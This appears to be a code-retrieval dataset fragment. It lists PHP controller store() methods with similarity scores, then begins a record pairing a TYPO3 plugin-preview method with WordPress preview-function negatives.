"function store() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the default model\n\t\t$model = $this->getDefaultModel();\n\n\t\tif (!$model) {\n\t\t\tthrow new Exception('Store task called, but there is no model assigned to that controller. Check method getDefaultModel.');\n\t\t}\n\n\t\t// Make a normalized data object from HTTP request data\n\t\t$data = $model->getDataFromRequest();\n\n\t\t// Prepare the data (auto-fill data like empty URL segment fields and similar)\n\t\t$model->prepareForStorage($data);\n\n\t\t// Check if the data validates\n\t\t$checkResult = $model->validateData($data);\n\n\t\t$isInsert = $model->isInsert($data);\n\n\t\t// Abort and send feedback if validation fails\n\t\tif ($checkResult === false) {\n\t\t\tKenedoPlatform::p()->setDocumentMimeType('application/json');\n\t\t\t$response = new stdClass();\n\t\t\t$response->success = false;\n\t\t\t$response->errors = $model->getErrors();\n\t\t\techo json_encode($response);\n\t\t\treturn;\n\t\t}\n\n\t\t// Get the data stored\n\t\t$success = $model->store($data);\n\n\t\t// Run the afterSave stuff\n\t\t$this->afterStore($success);\n\n\t\t// Abort and send feedback if storage fails\n\t\tif ($success === false) {\n\t\t\tKenedoPlatform::p()->setDocumentMimeType('application/json');\n\t\t\t$response = new stdClass();\n\t\t\t$response->success = false;\n\t\t\t$response->errors = $model->getErrors();\n\t\t\techo json_encode($response);\n\t\t\treturn;\n\t\t}\n\n\t\t// Purge the cache\n\t\t$this->purgeCache();\n\n\t\t// Bring the good news\n\t\tKenedoPlatform::p()->setDocumentMimeType('application/json');\n\t\t$response = new stdClass();\n\t\t$response->success = true;\n\t\t$response->messages = array();\n\t\t$response->wasInsert = $isInsert;\n\t\t$response->messages[] = KText::_('Record saved.');\n\n\t\t// Add the current record data to the response\n\t\tif (!empty($data->id)) {\n\t\t\t$model->forgetRecord($data->id);\n\t\t\t$response->data = $model->getRecord($data->id);\n\t\t}\n\t\telse {\n\t\t\t$response->data = NULL;\n\t\t}\n\n\t\tif (KRequest::getKeyword('task') == 'apply') {\n\t\t\t// On inserts, we redirect to the right edit URL (have the right ID set)\n\t\t\tif ($isInsert) {\n\t\t\t\t// Get the controller name\n\t\t\t\t$controllerName = KenedoController::getControllerNameFromClass(get_class($this));\n\t\t\t\t// Get the redirect URL\n\t\t\t\t$url = 'index.php?option='.$this->component.'&controller='.$controllerName.'&task=edit&id='.$data->id;\n\t\t\t\t// If the return param is sent along, append it\n\t\t\t\tif (KRequest::getString('return')) {\n\t\t\t\t\t$url .= '&return='.KRequest::getString('return');\n\t\t\t\t}\n\t\t\t\t// Get it all together\n\t\t\t\t$response->redirectUrl = KLink::getRoute($url, false);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (KRequest::getString('return')) {\n\t\t\t\t$url = KLink::base64UrlDecode(KRequest::getString('return'));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Get the controller name\n\t\t\t\t$controllerName = KenedoController::getControllerNameFromClass(get_class($this));\n\t\t\t\t// Get the redirect URL\n\t\t\t\t$url = KLink::getRoute('index.php?option='.$this->component.'&controller='.$controllerName, false);\n\t\t\t}\n\n\t\t\t$response->redirectUrl = $url;\n\t\t}\n\n\t\techo json_encode($response);\n\n\t}",
"public function store(Request $request)\n {\n $ingredientsupplyorder = new IngredientSupplyOrder;\n $ingredientsupplyorder->supplyorder_id = $request->supplyorder_id;\n $ingredientsupplyorder->ingredient_id = $request->Ingredient;\n $ingredientsupplyorder->quantity = $request->Quantity;\n $ingredientsupplyorder->save();\n\n $ingredient = Ingredient::find($ingredientsupplyorder->ingredient_id);\n\n Activity::log('Added ' . $ingredient->name . ' to the supply order.');\n\n return Redirect::back()->with('status','Supply order updated!');\n }",
"public function store()\n {\n $timeData = Input::only('worked_hours', 'date', 'notes');\n\n $result = $this->timesRepository->create($timeData);\n\n if ($result instanceof Illuminate\\Validation\\Validator) {\n return $this->notValidResponse($result->messages());\n }\n\n return $this->response($result);\n }",
"public function store(Request $request)\n {\n $validatedData = $request->validate([\n 'file_name'=>'required',\n 'workout'=>'required|min:2',\n 'description'=>'required|min:10',\n 'day'=>'required',\n 'time'=>'required'\n\n ]);\n\n\n $getValueDay = $request->input('day');\n $getValueTime = $request->input('time');\n\n $path = $request->file('file_name')->storePublicly('public/images/workouts');\n\n $post = [\n 'file_name'=> $path,\n 'workout'=>$request['workout'],\n 'description'=>$request['description'],\n 'day'=>$getValueDay['0'],\n 'time'=>$getValueTime,\n 'users_id'=>Auth::user()->id\n ];\n\n // var_dump($post);\n\n Workout::create($post);\n\n $post = $request->except('_token');\n\n\n return redirect()->route('workout');\n }",
"public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }",
"public function store()\n\t{\n\t\t$validator = Validator::make($data = Input::all(), WorkerTask::$rules);\n\n\t\tif ($validator->fails())\n\t\t{\n\t\t\treturn Redirect::back()->withErrors($validator)->withInput();\n\t\t}\n\n\t\t\ttry{\n\t\t\t\t$worker = new WorkerTask();\n\n\t\t\t $type = Worker::where('id','=',$data['worker_type'])->pluck('worker_type');\n\t\t\t\t\t$worker->worker_type = $type;\n\t\t\t\t\t$worker->subject = $data['subject'];\n\t\t\t\t\t$worker->details = $data['details'];\n\t\t\t\t\t$worker->flat_id = Auth::user()->flat_id;\n\t\t\t\t\t$worker->user_id = Auth::user()->id;\n\n\t\t\t\t\tif($worker->save()){\n\t\t\t\t\t\treturn Redirect::route('workerTask.create')->with('success',\"Problem sent successfully\");\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn Redirect::route('workerTask.create')->with('error',\"Something went wrong.Try again\");\n\t\t\t\t\t}\n\n\t\t\t}\n\t\t\tcatch(Exception $e){\n\t\t\t\treturn Redirect::back()->with('error',\"Something went wrong, Please try again\");\n\t\t\t}\n\t\t\n\n\n\t}",
"function storeAndNew() {\n $this->store();\n }",
"public function store()\r\n\t{\r\n\t\t$jsonData = $this->getAll();\r\n\r\n\t $data = array(\r\n\t\t\t'username'=> $this->user->username,\r\n\t\t\t'post'=> $this->post,\r\n\t\t\t'date'=> $this->date,\r\n\t );\r\n\r\n\t\tarray_unshift($jsonData, $data);\r\n\r\n\t\t$this->save($jsonData);\r\n\t}",
"public function store(Request $request)\n {\n if(Module::hasAccess(\"Tasks\", \"create\")) {\n\n $rules = Module::validateRules(\"Tasks\", $request);\n\n $validator = Validator::make($request->all(), $rules);\n\n if ($validator->fails()) {\n return redirect()->back()->withErrors($validator)->withInput();\n }\n\n $params = [\n 'title' => $request->title,\n 'user_name' => Auth::user()->name,\n 'work_id' => $request->work_id,\n 'user_key' => $request->user_key,\n 'run_time' => $request->run_time,\n 'status' => 0,\n \"product_id\" => $request->product_id\n ];\n\n if ($request->work_id == 'exchange') {\n $params['time_point'] = $request->time_point;\n $params['code'] = $request->code ?? '';\n $params['prize_number'] = $request->prize_number ?? 1;\n $params['is_wait_sjk'] = $request->is_wait_sjk ?? 0;\n } else if ($request->work_id == 'order') {\n $params['time_point'] = $request->time_point;\n $params['money'] = $request->money ?? 1000;\n $params['voucher_id'] = $request->voucher_id ?? 0;\n $params['is_kdb_pay'] = $request->is_kdb_pay ?? 0;\n $params['is_wait_sjk'] = $request->is_wait_sjk ?? 0;\n $params['order_number'] = $request->order_number ?? 1;\n } else if ($request->work_id == 'transfer') {\n $params['money'] = $request->money ?? 200000;\n } else if ($request->work_id == 'abcGift' || $request->work_id == 'icbcGift') {\n $params['code'] = $request->code;\n $params['time_point'] = $request->time_point;\n $params['is_kdb_pay'] = $request->is_kdb_pay ?? 0;\n }\n\n // Create Task\n $task = Task::create($params);\n\n Log::info(\"Task created: title: \".$task->title.\" work_id: \".$task->work_id);\n\n return redirect()->route(config('laraadmin.adminRoute') . '.tasks.index');\n\n } else {\n return redirect(config('laraadmin.adminRoute').\"/\");\n }\n }",
"public function store(Request $request)\n {\n //\n $validator = Task::validator($request);\n if($validator && $validator->fails()){\n return $this->checkSendError($validator);\n }\n $user = auth('api')->user()->toArray();\n $data = $request->except([]);\n $data['user_id'] = $user['id'];\n $data['contents'] = array_values($data['contents']);\n $data['status'] = 'Activated';\n $create = Task::create($data);\n return response()->json($create);\n }",
"public function store(StockProcessRequest $request)\n {\n $formInput = $request->validated();\n $formInput['user_id'] = auth()->id();\n $formDataAddUserId = $formInput;\n Stocks::create($formDataAddUserId);\n return redirect()->route('stocks.index');\n }",
"public function store(Request $request)\n {\n // Validazione\n $request->validate($this->validationData());\n\n $requested_data = $request->all();\n // dd($requested_data);\n\n // Nuova istanza Car\n $new_workout = new Workout();\n // $new_workout->user_id = $requested_data['user_id'];\n // $new_workout->name = $requested_data['name'];\n // $new_workout->imgurl = $requested_data['imgurl'];\n // $new_workout->description = $requested_data['description'];\n // $new_workout->reps = $requested_data['reps'];\n $new_workout->fill($requested_data);\n $new_workout->save();\n\n return redirect()->route('admin.workouts.index', $new_workout);\n }",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store(Request $request)\n {\n $this->validate($request, [\n \"newTaskNote\"=>\"required|string|max:20000\",\n \"taskID\"=>\"required|integer\",\n ]);\n $task_note = new TaskNote;\n $task_note->report = $request->newTaskNote;\n $task_note->task_id = $request->taskID;\n $task_note->save();\n $task = Task::find($request->taskID);\n return redirect(redirect()->getUrlGenerator()->previous() . \"#TP\". $task->time_period_id);\n }",
"public function store()\n\t{\n\t\t$rules = array(\n\t\t\t'title' => 'required',\n\t\t\t'description' => 'required',\n\t\t\t'status' => 'required|in:Open,In Progress,Fixed,Verified'\n\t\t);\n\n\t\t$validator = Validator::make(Input::all(), $rules);\n\t\tif ($validator->fails())\n\t\t\treturn $this->error($validator->messages(), self::BAD_REQUEST);\n\n\t\t$task = $this->task->create(\n\t\t\tarray(\n\t\t\t\t'title' => Input::get('title'),\n\t\t\t\t'description' => Input::get('description'),\n\t\t\t\t'status' => Input::get('status')\n\t\t\t)\n\t\t);\n\t\treturn $this->response($task, self::CREATED);\n\n\t}",
"public function store(OrderRequest $request)\n\t{\n $order = new Order($request->all());\n $order->tracking_id = mt_rand(100, 999999);\n $order->save();\n\n $this->attachProducts($order, $request);\n\n return redirect()->route('orders.index');\n\t}",
"public function store(){\n\n apiwat::create(request(['title','author', 'price','publish_date', 'website', 'id']));\n\n return back();\n }",
"public function store(CreateWorkorderHistoryAPIRequest $request)\n {\n $input = $request->all();\n\n $workorderHistories = $this->workorderHistoryRepository->create($input);\n\n return $this->sendResponse($workorderHistories->toArray(), 'Workorder History saved successfully');\n }",
"public function store(Request $request)\n {\n // Validate and store the workout...\n $validatedData = $request->validate([\n 'workout' => 'required|max:255' \n ]);\n }",
"function store(Request $request) {\n try {\n $contactInfo = Storage::disk('local')->exists('worker.json') ? json_decode(Storage::disk('local')->get('worker.json')) : [];\n\n $inputData = $request->only(['Surname','Name','middle_name', 'Date_of_Birth', 'Date_of_employment','Department_head' ]);\n\n $inputData['datetime_submitted'] = date('Y-m-d H:i:s');\n\n// array_push($contactInfo,$inputData);\n\n Storage::disk('local')->append('worker.json', json_encode($inputData,0,2));\n\n return redirect(route('board..index'));\n\n } catch(Exception $e) {\n\n return ['error' => true, 'message' => $e->getMessage()];\n\n }\n }",
"public function store()\n {\n $products = Cart::getProducts();\n\n // Create Order\n $order = new Order;\n $order->products_data = serialize($products);\n $order->user_id = auth()->user()->id;\n $order->save();\n\n return redirect('/orders')->with('success', 'Order Created');\n }",
"function store3(Request $request) {\n try {\n $contactInfo = Storage::disk('local')->exists('worker3.json') ? json_decode(Storage::disk('local')->get('worker3.json')) : [];\n\n $inputData = $request->only(['Surname','Name','middle_name', 'Date_of_Birth', 'Date_of_employment','text_area']);\n\n $inputData['datetime_submitted'] = date('Y-m-d H:i:s');\n\n// array_push($contactInfo,$inputData);\n\n Storage::disk('local')->append('worker3.json', json_encode($inputData,0,2));\n\n return redirect(route('board..index'));\n\n } catch(Exception $e) {\n\n return ['error' => true, 'message' => $e->getMessage()];\n\n }\n }",
"public function store()\r\r\n\t{\r\r\n\t\t//\r\r\n\t}",
"function store2(Request $request) {\n try {\n// $contactInfo = Storage::disk('local')->exists('worker3.json') ? json_decode(Storage::disk('local')->get('worker2.json')) : [];\n\n $inputData = $request->only(['Surname','Name','middle_name', 'Date_of_Birth', 'Date_of_employment', 'Department']);\n\n $inputData['datetime_submitted'] = date('Y-m-d H:i:s');\n\n// array_push($contactInfo,$inputData);\n\n Storage::disk('local')->append('worker2.json', json_encode($inputData,0,2));\n\n return redirect(route('board..index'));\n\n } catch(Exception $e) {\n\n return ['error' => true, 'message' => $e->getMessage()];\n\n }\n }",
"public function store(Request $request)\n {\n $this->business->saveNewWorker($request);\n return redirect(url()->previous());\n }",
"public function store()\n\t{\n\t\t\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}"
] | [
"0.69916606",
"0.6984014",
"0.6909522",
"0.67369276",
"0.66733336",
"0.6657128",
"0.6637231",
"0.65577066",
"0.6537422",
"0.65352404",
"0.64375967",
"0.6437331",
"0.64324284",
"0.6409957",
"0.63873655",
"0.6352387",
"0.6341406",
"0.6335951",
"0.6334294",
"0.6321848",
"0.63204277",
"0.63142157",
"0.6310309",
"0.6299966",
"0.6296951",
"0.6296786",
"0.62923855",
"0.6286683",
"0.6286644",
"0.6280735",
"0.6280275",
"0.6280275",
"0.6280275",
"0.62716544",
"0.6269185",
"0.6260353",
"0.62539667",
"0.6250076",
"0.6240555",
"0.62380326",
"0.62362975",
"0.6233828",
"0.6233786",
"0.62148035",
"0.62126726",
"0.6204913",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822",
"0.6203822"
] | 0.0 | -1 |
Function called from TV, used to generate preview of this plugin | public function renderPreviewContent_preProcess(
$row, $table, &$alreadyRendered, &$reference
) {
if ($row['CType'] === 'list'
&& $row['list_type'] === 'nr_semantic_templates_pi1'
) {
$content = $this->preview($row);
$alreadyRendered = true;
return $content;
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public static function live_preview() { }",
"public function inPreview();",
"public function preview()\n {\n }",
"public function preview()\n {\n }",
"public function preview()\n {\n }",
"public function preview()\n {\n }",
"function post_preview()\n {\n }",
"public function init_preview()\n {\n }",
"public function settings_previewed()\n {\n }",
"public function customize_preview_init()\n {\n }",
"public function customize_preview_init()\n {\n }",
"public function customize_preview_settings()\n {\n }",
"public function customize_preview_base()\n {\n }",
"public function getPreview();",
"public function customize_preview_enqueue()\n {\n }",
"public function customize_preview_html5()\n {\n }",
"public function livePreview() {\r\n\r\n\t\t$printStart = false;\r\n\t\tforeach ( $this->options as $option ) {\r\n\r\n\t\t\tif ( empty( $option->settings['css'] ) && empty( $option->settings['livepreview'] ) ) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\t// Print the starting script tag.\r\n\t\t\tif ( ! $printStart ) {\r\n\t\t\t\t$printStart = true;\r\n\t\t\t\t?>\r\n\t\t\t\t<script>\r\n\t\t\t\tjQuery(document).ready(function($) {\r\n\t\t\t\t<?php\r\n\t\t\t}\r\n\r\n\t\t\t?>\r\n\t\t\twp.customize( '<?php echo $option->getID() ?>', function( v ) {\r\n\t\t\t\tv.bind( function( value ) {\r\n\t\t\t\t\t<?php\r\n\r\n\t\t\t\t\tif ( empty( $option->settings['livepreview'] ) ) {\r\n\r\n\t\t\t\t\t\t/**\r\n\t\t\t\t\t\t * If css parameter is given and there is no custom livepreview,\r\n\t\t\t\t\t\t * we can simulate live previewing using just the css parameter.\r\n\t\t\t\t\t\t */\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t\t\tif ( typeof localStorage !== 'undefined' ) {\r\n\t\t\t\t\t\t\tlocalStorage.setItem( '<?php echo $option->getID() ?>', value );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\twindow.tf_refresh_css();\r\n\t\t\t\t\t\t<?php\r\n\r\n\t\t\t\t\t} else {\r\n\r\n\t\t\t\t\t\t/**\r\n\t\t\t\t\t\t * If the livepreview parameter is given, use that. This is the original behavior.\r\n\t\t\t\t\t\t */\r\n\t\t\t\t\t\t// Some options may want to insert custom jQuery code before manipulation of live preview/\r\n\t\t\t\t\t\tif ( ! empty( $option->settings['id'] ) ) {\r\n\t\t\t\t\t\t\tdo_action( 'tf_livepreview_pre_' . $this->owner->optionNamespace, $option->settings['id'], $option->settings['type'], $option );\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\techo $option->settings['livepreview'];\r\n\r\n\t\t\t\t\t\t// Some options may want to insert custom jQuery code after manipulation of live preview.\r\n\t\t\t\t\t\tif ( ! empty( $option->settings['id'] ) ) {\r\n\t\t\t\t\t\t\tdo_action( 'tf_livepreview_post_' . $this->owner->optionNamespace, $option->settings['id'], $option->settings['type'], $option );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t?>\r\n\t\t\t\t} );\r\n\t\t\t} );\r\n\t\t\t<?php\r\n\r\n\t\t}\r\n\r\n\t\t// Print the ending script tag.\r\n\t\tif ( $printStart ) {\r\n\t\t\t?>\r\n\t\t\t});\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t}",
"function preview_theme()\n {\n }",
"public function export_preview_data()\n {\n }",
"public function export_preview_data()\n {\n }",
"public function export_preview_data()\n {\n }",
"public function customize_preview_signature()\n {\n }",
"function wp_ajax_imgedit_preview()\n {\n }",
"function _show_post_preview()\n {\n }",
"function preview()\n\t{\n\t\theader(\"Content-type: {$this->mimetype}\");\n\t\t$this->showImage();\n\t}",
"function printPreview()\n {\n echo '<div class=\"theme_preview\">';\n echo '<h2>' . htmlspecialchars($this->getName())\n .' (' . htmlspecialchars($this->getVersion()) . ')</h2>'\n .'<p>'\n .'<a target=\"_top\" href=\"index.php'\n .PMA_generate_common_url(array('set_theme' => $this->getId())) . '\"'\n .' onclick=\"takeThis(\\'' . addslashes($this->getId()) . '\\');'\n .' return false;\">';\n if (@file_exists($this->getPath() . '/screen.png')) {\n // if screen exists then output\n\n echo '<img src=\"' . $this->getPath() . '/screen.png\" border=\"1\"'\n .' alt=\"' . htmlspecialchars($this->getName()) . '\"'\n .' title=\"' . htmlspecialchars($this->getName()) . '\" /><br />';\n } else {\n echo $GLOBALS['strThemeNoPreviewAvailable'];\n }\n\n echo '[ <strong>' . $GLOBALS['strTakeIt'] . '</strong> ]</a>'\n .'</p>'\n .'</div>';\n }",
"public function start_previewing_theme()\n {\n }",
"public function enqueue_preview_scripts()\n {\n }",
"public function enqueue_preview_scripts()\n {\n }",
"public function enqueue_preview_scripts()\n {\n }",
"public function enqueue_preview_scripts()\n {\n }",
"public function preview($args) {\n }",
"protected function getPreviewModule() {}",
"public function get_preview_url()\n {\n }",
"function _set_preview($post)\n {\n }",
"public function forcePreview() {}",
"function customize_preview_init($customizer)\n {\n }",
"function wp_post_preview_js()\n {\n }",
"function live_preview_scripts() {\n\t\t\t// Live preview JS\n\t\t\tthemify_enque_script('themify-customize-preview', THEMIFY_CUSTOMIZER_URI . '/js/themify.customize-preview.js', array('jquery', 'customize-preview', 'underscore', 'backbone'), THEMIFY_VERSION, true);\n\t\t\t$controls = array(\n\t\t\t\t'nonce' => wp_create_nonce('ajax-nonce'),\n\t\t\t\t'ajaxurl' => admin_url('admin-ajax.php'),\n\t\t\t\t'isRTL' => is_rtl(),\n\t\t\t\t'breakpoints' => $this->get_breakpoints(),\n\t\t\t\t'cf_api_url' => Themify_Custom_Fonts::$api_url\n\t\t\t);\n\t\t\tforeach ($this->settings as $key => $params) {\n\t\t\t\tif (!isset($params['selector'])) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif ($this->endsWith($key, '_font')) {\n\t\t\t\t\t$controls['fontControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_background') || $this->endsWith($key, '_background_color') ) {\n\t\t\t\t\t$controls['backgroundControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_position')) {\n\t\t\t\t\t$controls['positionControls'][$key] = $params['selector'];\n\t\t\t\t} elseif (false !== stripos($key, '-logo_')) {\n\t\t\t\t\tif ( $params['prop'] === 'margin' ) {\n\t\t\t\t\t\t$controls['marginControls'][$key] = $params['selector'];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$controls['logoControls'][$key] = $params['selector'];\n\t\t\t\t\t\t$controls['fontControls'][$key] = $params['selector'];\n\t\t\t\t\t}\n\t\t\t\t} elseif ($this->endsWith($key, '-tagline')) {\n\t\t\t\t\t$controls['taglineControls'][$key] = $params['selector'];\n\t\t\t\t\t$controls['fontControls'][$key] = $params['selector'];\n\t\t\t\t\t$controls['marginControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_border')) {\n\t\t\t\t\t$controls['borderControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_margin')) {\n\t\t\t\t\t$controls['marginControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_padding')) {\n\t\t\t\t\t$controls['paddingControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_width')) {\n\t\t\t\t\t$controls['widthControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_height')) {\n\t\t\t\t\t$controls['heightControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, 'border_color')) {\n\t\t\t\t\t$controls['borderColorControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_color')) {\n\t\t\t\t\t$controls['colorControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, 'customcss')) {\n\t\t\t\t\t$controls['customcssControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_imageselect')) {\n\t\t\t\t\t$controls['imageselectControls'][$key] = $params['selector'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Pass JS variables to live preview scripts\n\t\t\twp_localize_script('themify-customize-preview', 'themifyCustomizer', $controls);\n\t\t}",
"function page_sitepreview() {\r\n\t\tglobal $admin_lang;\r\n\t\t\r\n\t\t$out = '<h3>' . $admin_lang['sitepreview'].'</h3><hr /><iframe src=\"index.php\" class=\"sitepreview\"></iframe>';\r\n\t\treturn $out;\r\n\t}",
"public function doWorkspacePreview() {}",
"public static function live_preview()\n {\n wp_enqueue_script(\n 'heritage-themecustomizer', \t\t\t\t\t\t\t\t\t\t// Give the script a unique ID\n get_template_directory_uri().'/customizer/js/theme_customizer.js', \t// Define the path to the JS file\n array('jquery', 'customize-preview'),\t\t\t\t \t\t\t\t// Define dependencies\n rand(5, 100), \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Define a version (optional)\n true \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Specify whether to put in footer (leave this true)\n );\n\n wp_localize_script('heritage-themecustomizer', 'heritageCustomizerConfig', get_option( 'lc_customize', array() ));\n\n\n }",
"function learn_press_single_quiz_preview_mode() {\n\t\tlearn_press_get_template( 'content-quiz/preview-mode.php' );\n\t}",
"function edd_incentives_render_preview() {\n global $post;\n \n echo '<p>';\n echo '<a class=\"button button-primary edd-incentives-colorbox\">' . __( 'Preview Incentive', 'edd-incentives' ) . '</a>';\n echo '<span class=\"description\">' . __( 'Remember to save your changes before previewing this incentive!', 'edd-incentives' ) . '</span>';\n echo '</p>';\n\n echo '<div style=\"display: none;\">';\n echo '<div id=\"edd-incentives-preview\">';\n\n // Display post content\n echo edd_incentives_parse_template_tags( $post->ID );\n\n echo '</div>';\n echo '</div>';\n}",
"public function is_preview()\n {\n }",
"public function is_preview()\n {\n }",
"public function is_preview()\n {\n }",
"public function renderQuickEdit() {}",
"public function actionPreview() {\n $output = '';\n $module = Yii::$app->controller->module;\n if (isset($_POST['source'])) {\n $output = (strlen($_POST['source']) > 0) ? HtmlPurifier::process(Markdown::convert($_POST['source'], ['custom' => $module->customConversion])) : $_POST['nullMsg'];\n }\n echo Json::encode($output);\n }",
"function video_cck_tudou_preview($embed, $width, $height, $field, $item, $autoplay) {\n $output = theme('video_cck_tudou_flash', $embed, $width, $height, $autoplay);\n return $output;\n}",
"function _preview_theme_template_filter()\n {\n }",
"function youtubeJStoFrontHead(){\n\n\n\n // require_once(dirname(__FILE__).'/../../peepso-core/activity/classes/activity.php');\n // $newAcctive = new PeepSoActivity;\n // echo 'test function output: ' . $newAcctive->test() . '<br/>';\n\n $button_image = get_option( 'button_image' );\n\n if(get_option( 'custom_button' ) == 1){\n echo '<style>\n .oembed .start-video {\n background: url('.$button_image.') no-repeat;\n height: 24%;\n width: 14%;\n left: 43%;\n top: 38%; \n position: absolute;\n cursor: pointer;\n z-index: 9;\n background-size: contain !important;\n }\n </style>';\n }else{\n echo '<style>\n .oembed .start-video { \n display: none;\n }\n </style>';\n }\n\n }",
"function emvideo_dotsub_preview($embed, $width, $height, $field, $item, $node, $autoplay) {\n $output = theme('emvideo_dotsub_flash', $item, $width, $height, $autoplay);\n return $output;\n}",
"function pavi_the_display_video($args = array()){\n echo pavi_get_display_video($args);\n}",
"public function preview()\n {\n $message = $this->get('message');\n if ($message) {\n $this->console->output($message);\n }\n }",
"public static function create_preview()\n\t{\n\t\t$current = self::current_layout();\n\t\t\n\t\t//start output buffer\n\t\tob_start();\t\t\n\t\t\n\t\t//output current tmpl\n\t\trequire_once( THEME_LAYOUTS . $current . '/templates/tmpl-layout.php' );\t\n\t\t\n\t\t//get output buffer and store in an array\t\t\n\t\t$output = ob_get_clean();\n\t\t\n\t\treturn $output;\t\n\t}",
"public function get_preview_name(){\n\t\treturn \"{$this->id}_preview.png\";\n\t}",
"function enable_preview_mode() {\n\t\t$this->preview_mode = true;\n\t\t$this->enable_test_mode();\n\t}",
